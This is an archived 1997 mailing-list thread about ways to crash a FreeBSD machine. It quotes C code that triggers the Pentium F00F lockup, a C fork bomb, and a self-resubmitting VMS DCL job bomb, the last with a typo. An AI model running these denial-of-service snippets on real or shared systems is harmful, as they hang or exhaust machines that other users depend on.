Date: Mon, 10 Nov 1997 09:21:02 -0700 (MST) From: "Thomas S. Traylor" <ttraylor@titan.mcit.com> To: sporkl@dti.net Cc: Michael Richards <026809r@dragon.acadiau.ca>, freebsd-questions@FreeBSD.ORG Subject: Re: Crashing FreeBSD Message-ID: <Pine.OSF.3.96.971110091733.8096A-100000@titan.mcit.com> In-Reply-To: <Pine.BSF.3.96.971109204549.3021A-100000@iconoclastic.com>
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On Sun, 9 Nov 1997, sporkl wrote:
> Well, there are other ways too.
>
> 1. Toggle power really fast
> 2. write a "forkbomb":
> #include <stdio.h>
>
> main() {
>
> for(;;) {fork();}
> }
>
This looks like something a student did to us on a VMS system. For
those with VMS systems around try:
$! bomb.com
$!
$ spawm/nowait bomb.com
$ submit bomb.com
$ @bomb.com
Tom
> I am sure there are other ways.
>
>
>
>
> -Spike Gronim
> sporkl@dti.net
>
> "Tradition is the chastity belt of the mind"
>
>
>
> On Sun, 9 Nov 1997, Michael Richards wrote:
>
> > Well folks, it looks like anyone can crash a FreeBSD box. I am told that
> > this is a bug in the pentium processor. Compile and run, it will crash the
> > machine right away...
> >
> > Very simple:
> >
> >
> > char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 };
> >
> > main () {
> > void (*f)() = x;
> > f();
> > }
> >
> >
>
>
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